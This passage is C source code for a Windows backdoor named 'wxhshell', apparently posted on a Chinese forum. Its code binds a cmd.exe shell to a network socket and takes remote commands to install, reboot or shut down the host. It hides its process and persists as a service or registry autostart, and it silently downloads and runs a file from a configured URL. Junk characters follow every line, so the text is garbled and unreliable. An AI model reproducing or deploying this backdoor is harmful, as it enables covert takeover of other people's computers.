  else { |m;L?)F<  
}mk>!B}=  
    switch(cmd[0]) { `}fw1X5L  
  4 1t)(+r  
  // 帮助 +Gh7^v|"  
  case '?': { EzpFOqJG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aG{$Ic  
    break; q0./O|Dj   
  } %8r/oS  
  // 安装 _<*Hv*Zm  
  case 'i': { ;ME)Og  
    if(Install()) gzdG6"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <9eu1^g  
    else FTf<c0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  {mTytT  
    break; BKIjNV3  
    } 2k5/SV X  
  // 卸载 73F5d/n  
  case 'r': { fU+Pn@'  
    if(Uninstall()) 3BQ!qO17^d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -VT+O+9_A  
    else 1m@^E:w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A''pS  
    break; 3EK9,:<Cf  
    } KbW9s,:p  
  // 显示 wxhshell 所在路径 Z?G&.# :  
  case 'p': { UE"GJt`I  
    char svExeFile[MAX_PATH]; ,wAz^cK|  
    strcpy(svExeFile,"\n\r"); -{jdn%Y7CK  
      strcat(svExeFile,ExeFile); 9`B$V##-L  
        send(wsh,svExeFile,strlen(svExeFile),0); 7cTk@Gq  
    break; ;zH HIdQ>-  
    } 'T8W!&$  
  // 重启 p/ GVTf  
  case 'b': { 5h{`<W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }} ZY  
    if(Boot(REBOOT)) kG0Yh2;#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \jU |(DE  
    else { gm)@c2?.  
    closesocket(wsh); gVR@&bi7  
    ExitThread(0); ,5Vt]#F5@  
    } 4JyM7ePND}  
    break; c1XX~8  
    } [g|Y7.j8  
  // 关机 EHf\L  
  case 'd': { } ^kL|qmjR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]d}0l6  
    if(Boot(SHUTDOWN)) /~p+j{0L3W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p9eRZVy/  
    else { E%N2k|%8d_  
    closesocket(wsh); f58?5(Dc|  
    ExitThread(0); iEyeX0nm  
    } KzU lTl0  
    break; Di.3113t  
    } 07v!Zj  
  // 获取shell V9NTs8LKc  
  case 's': { <.K4JlbT  
    CmdShell(wsh);  t+uE  
    closesocket(wsh); Y"g.IK`V  
    ExitThread(0); f9$xk|2g  
    break; b \7iY&.C|  
  } _i0kc,*C\  
  // 退出 /b#l^x:j  
  case 'x': { cZ8.TsI~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &EGqgNl  
    CloseIt(wsh); $tqJ/:I  
    break; \c,pEXG  
    } "_UdBG  
  // 离开 Io`P,l:  
  case 'q': { NE2pL@ sk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9p* gU[  
    closesocket(wsh); t&q N: J  
    WSACleanup(); *A'FC|\  
    exit(1); T=f|,sK +7  
    break; W*DVi_\$y  
        } +avMX&%  
  } 9# 4Y1LS)  
  } z+}QZ >  
'wasZ b<^  
  // 提示信息 D B526O* [  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W<ZK,kv  
} O)|P,?  
  } AFvgbn8Qh  
(:V>Hjt  
  return; INs!Ame2  
} L WoG4s?w  
g1E~+@  
// shell模块句柄 sAn0bX  
int CmdShell(SOCKET sock) 620%Z*   
{ `?g`bN`Vn  
STARTUPINFO si; s.Y4pWd5@  
ZeroMemory(&si,sizeof(si)); '7Nr8D4L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '+>fFM,*B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1LJuCI=~  
PROCESS_INFORMATION ProcessInfo; /I5X"x  
char cmdline[]="cmd"; qLL,F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  MTER(L  
  return 0;  kqYa*| l  
} >KLtY|o)  
,d+fDmm3  
// 自身启动模式 s`j~-P  
int StartFromService(void) , ^F)L|  
{ Ma*y=d;,1  
typedef struct @$"J|s3M  
{ r=/;iH?UH  
  DWORD ExitStatus; \I-#1M  
  DWORD PebBaseAddress; 87%*+n:?*  
  DWORD AffinityMask; /yz=Cjoz  
  DWORD BasePriority; _Y=2/*y^  
  ULONG UniqueProcessId; OH^N" L  
  ULONG InheritedFromUniqueProcessId; (`>voi<^  
}   PROCESS_BASIC_INFORMATION; etT +  
pMg3fUIM  
PROCNTQSIP NtQueryInformationProcess; Om'+]BBN  
"Td`AuP@,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I$NhXZ)KT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K3uG2g(>2  
IEjP<pLe  
  HANDLE             hProcess; N"/-0(9[  
  PROCESS_BASIC_INFORMATION pbi; Mypc3  
n,eJ$2!J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i&njqK!wS  
  if(NULL == hInst ) return 0; WwF~d+>|C  
G$'jEa<:u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); di)*-+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4Wy <?O2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #po5_dE\*  
PiV7*F4qI.  
  if (!NtQueryInformationProcess) return 0; Ftw;Yz  
L- pVltX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D'Z|}(d&  
  if(!hProcess) return 0; R1F5-#?'E  
V._6=ZJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I$Qs;- (  
6:U$w7P0 e  
  CloseHandle(hProcess); lP Lz@Up~  
*5zrZ]^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xD&^j$Em  
if(hProcess==NULL) return 0; h2ZkCML  
#-3=o6DCK  
HMODULE hMod; SVjl~U-^  
char procName[255]; | K?#$~  
unsigned long cbNeeded; K =.%$A  
L,d LE-L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k>dsw:  
ZcuA6#3B  
  CloseHandle(hProcess); TF2>4 p  
o7B[R) 4  
if(strstr(procName,"services")) return 1; // 以服务启动 _#$ *y  
LPG`^SA  
  return 0; // 注册表启动 /8VP[i)u  
} aNyvNEV3C  
h' !imQ  
// 主模块 ^Qu iH'  
int StartWxhshell(LPSTR lpCmdLine) 7W6cM%_B  
{ "x@='>:$  
  SOCKET wsl; ;> m"x  
BOOL val=TRUE; e]=!"nJ+  
  int port=0; )1g"?]  
  struct sockaddr_in door; dd?x(,"A`  
{0! ~C=P  
  if(wscfg.ws_autoins) Install(); }F+zs*S  
lpH=2l$>?  
port=atoi(lpCmdLine); R<i38/ ~G  
.^$YfTabq  
if(port<=0) port=wscfg.ws_port; T[= S$n -'  
G/%iu;7ZCb  
  WSADATA data; E7Cy(LO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [m+iQVk'  
/6O??6g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g%u&Zkevx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M MzGd:0b  
  door.sin_family = AF_INET; \c[IbL07  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CF|]e:  
  door.sin_port = htons(port); DO7W}WU  
s4_/&h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1 nvTce  
closesocket(wsl); nUq<TJ  
return 1; p;?*}xa  
} S osj$9E  
&R~n>>c  
  if(listen(wsl,2) == INVALID_SOCKET) { :S$l"wrh\  
closesocket(wsl); MxzLK%am  
return 1; q9"=mO0J+  
} kj+#Tn F-  
  Wxhshell(wsl); ~) ?  
  WSACleanup(); bVmA tm[  
$./bjV%  
return 0; ::n;VY2&  
A?TBtAe  
} I8OD$`~*U6  
)XQ`M?**M  
// 以NT服务方式启动 Iqs+r?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q4t(@0e}  
{ 5 ,0d  
DWORD   status = 0; 6.t',LTB  
  DWORD   specificError = 0xfffffff; tweY'x.{  
UN"(5a8.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m~Ld~I"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yBLK$@9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,fEO> i  
  serviceStatus.dwWin32ExitCode     = 0; ?Z\Yu'  
  serviceStatus.dwServiceSpecificExitCode = 0; {%w!@-  
  serviceStatus.dwCheckPoint       = 0; E^w:KC2@  
  serviceStatus.dwWaitHint       = 0; }0,>2TTDN  
zU6a't P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \b[9ebME  
  if (hServiceStatusHandle==0) return; hP J4Oj1O  
<lr*ZSNY  
status = GetLastError(); k\Q ,h75  
  if (status!=NO_ERROR) 9*6]&:fm  
{ ]E3U J!!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KC e13!  
    serviceStatus.dwCheckPoint       = 0; U=bEA1*@0  
    serviceStatus.dwWaitHint       = 0; F#xa`*AP  
    serviceStatus.dwWin32ExitCode     = status; '2hbJk  
    serviceStatus.dwServiceSpecificExitCode = specificError; N__H*yP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (3\Xy   
    return; +b;hBb]R  
  } (Lh#`L?x  
G;gJNK"e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w^K^I_2ge  
  serviceStatus.dwCheckPoint       = 0; u% 2<\:~j  
  serviceStatus.dwWaitHint       = 0; }~Q"s2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iq?#rb P#I  
} ! BU)K'mj  
/EwGW  
// 处理NT服务事件,比如:启动、停止 F=G{)*Ih  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ')+0nPV  
{ [%HIbw J  
switch(fdwControl) 4^c- D  
{ '#\D]5  
case SERVICE_CONTROL_STOP: ba@ax3  
  serviceStatus.dwWin32ExitCode = 0; NGjdG=,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p]W+eT  
  serviceStatus.dwCheckPoint   = 0; >5~7u\#9  
  serviceStatus.dwWaitHint     = 0; [n,?WwC  
  { oFg5aey4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t$^l<ppQ  
  } ?y},,  
  return; pw>m.=9|y  
case SERVICE_CONTROL_PAUSE: dOa!htx]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z\X'd_1!  
  break; ~4.r^)\  
case SERVICE_CONTROL_CONTINUE: (J:dK=O@Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _3Q8n|  
  break; M%Ku5X6:/  
case SERVICE_CONTROL_INTERROGATE: p5c8YfM  
  break; e xR^/|BR  
}; g+q@i{Yn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }4jC_ZAupt  
} Qqs"?Z,P  
~JZ3a0$^  
// 标准应用程序主函数 O]u",J5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #,f{Ok+  
{ 6DS43AQs  
GA^mgm"O  
// 获取操作系统版本 2V#6q,2  
OsIsNt=GetOsVer(); Iur9I>8h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;cP8?U  
&TN2 HZ-bJ  
  // 从命令行安装 ,j9 80/  
  if(strpbrk(lpCmdLine,"iI")) Install(); -R+zeu(e'  
k M*T$JqN  
  // 下载执行文件 #0 y <a:}R  
if(wscfg.ws_downexe) { '% 4P;HO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )y50Mb0+  
  WinExec(wscfg.ws_filenam,SW_HIDE); !c8L[/L  
} vP]9;mQ  
vb=CFV#  
if(!OsIsNt) { 6OUvrfC(H  
// 如果时win9x,隐藏进程并且设置为注册表启动  0%Q9}l#7  
HideProc(); xe:' 8J6L  
StartWxhshell(lpCmdLine); 2bQ/0?.).-  
} AqYxWk3>  
else ~Yk"Hos  
  if(StartFromService()) ?iSGH'[u  
  // 以服务方式启动 ??xlA-E  
  StartServiceCtrlDispatcher(DispatchTable); 0<P(M:a  
else c8Pb  
  // 普通方式启动 9]~PC Z2j  
  StartWxhshell(lpCmdLine); 7>je6*(K  
o<\6Rm  
return 0; `7B14:\A  
}
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只看该作者 1 发表于: 2006-10-10
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